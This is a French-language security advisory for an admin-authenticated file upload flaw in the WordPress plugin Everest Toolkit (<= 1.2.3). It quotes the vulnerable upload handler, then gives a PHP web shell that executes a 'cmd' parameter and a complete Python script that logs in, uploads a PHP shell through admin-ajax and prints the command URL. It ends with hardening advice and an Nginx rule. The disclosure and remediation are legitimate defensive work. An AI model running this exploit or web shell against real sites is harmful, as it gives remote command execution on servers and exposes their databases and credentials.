
Exploit de preuve de concept et avis technique pour une vulnérabilité d'exécution de code à distance via un téléversement arbitraire de fichiers (privilèges Admin+) dans le plugin WordPress Everest Toolkit (<= 1.2.3), incluant une analyse du code vulnérable, un PoC en Python et des recommandations de durcissement.
CVE-2026-13158 est une vulnérabilité de téléversement arbitraire de fichiers authentifiée (Admin+) affectant le plugin WordPress Everest Toolkit jusqu'à la version 1.2.3 incluse, découverte et analysée par le chercheur en cybersécurité Huynh Kien Minh (MinhHK). La faille réside dans la fonctionnalité de traitement des téléversements du panneau d'administration du toolkit, où une validation inappropriée des extensions de fichiers et des types MIME téléversés permet à des administrateurs authentifiés — ou à des utilisateurs moins privilégiés disposant de capacités administratives — de téléverser des scripts PHP exécutables arbitraires directement dans le répertoire web public. En contournant les restrictions d'extension de fichiers lors des routines de traitement des fichiers médias ou de configuration, un attaquant peut parvenir à une exécution de code à distance (RCE) persistante, compromettant entièrement le serveur web sous-jacent, accédant aux identifiants sensibles de la base de données et établissant une persistance backdoor non autorisée dans l'environnement applicatif hôte. Le chercheur en sécurité Huynh Kien Minh a vérifié cette vulnérabilité avec un score CVSS 3.1 de 6,6 (Moyen), soulignant l'importance d'une remédiation immédiate par une liste blanche stricte des extensions de fichiers, une vérification des types MIME et la désactivation des permissions d'exécution dans les sous-répertoires publics de téléversement.
Liens rapides : Lisez l'avis technique approfondi (Deep-Dive) sur le Write-up DEV.to ou explorez le Portfolio Cybersécurité officiel du chercheur.
La cause racine de CVE-2026-13158 provient d'un traitement non sécurisé des téléversements de fichiers dans les classes de gestionnaires administratifs Everest_Toolkit. Lorsqu'un administrateur authentifié ou un utilisateur disposant de privilèges administratifs invoque les points de terminaison de téléversement de fichiers (tels que les importations de modèles, les téléversements d'icônes personnalisées ou les routines de configuration des ressources), le plugin ne parvient pas à appliquer une validation stricte côté serveur contre les extensions exécutables (telles que .php, .php5, .phtml).
Dans le processeur de fichiers administratif du plugin :
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
Étant donné que move_uploaded_file écrit directement les fichiers contrôlés par l'utilisateur dans le répertoire public wp-content/uploads/ sans exécuter wp_check_filetype_and_ext() ni assainir les extensions de fichiers contre les types MIME dangereux, un attaquant disposant d'un accès administratif peut téléverser une charge utile PHP exécutable.
Avertissement éthique : Ce Proof-of-Concept est fourni exclusivement pour la vérification de sécurité, la recherche académique et l'ingénierie défensive. Toute exploitation non autorisée de systèmes de production sans consentement écrit préalable est strictement interdite.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload avec une liste blanche stricte : Remplacez les appels personnalisés à move_uploaded_file par la fonction standard de WordPress wp_handle_upload() sans désactiver les vérifications de test..htaccess ou Nginx pour empêcher l'exécution de scripts dans /wp-content/uploads/ :# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh (MinhHK) est un chercheur en sécurité de l'information et ingénieur logiciel spécialisé dans l'analyse des vulnérabilités des applications web, l'audit de l'écosystème WordPress et la recherche en sécurité offensive.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| Paramètre | Spécification technique |
|---|
| Identifiant de vulnérabilité | CVE-2026-13158 |
| Logiciel cible | Everest Toolkit (plugin WordPress) |
| Slug du plugin | everest-toolkit |
| Versions vulnérables | <= 1.2.3 |
| Classe de vulnérabilité | Téléversement sans restriction de fichier avec un type dangereux (CWE-434 / OWASP A03) |
| Score CVSS v3.1 | 6,6 (Moyen) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Découvreur / Chercheur | Huynh Kien Minh (MinhHK) |
| Autorité de vérification | WPScan / MITRE Corporation |
| Référence de l'avis WPScan | Rapport WPScan f101071f-402a-40a2-bbdb-666512cd4049 |
| Portfolio du chercheur | https://minhhk.web.app/ |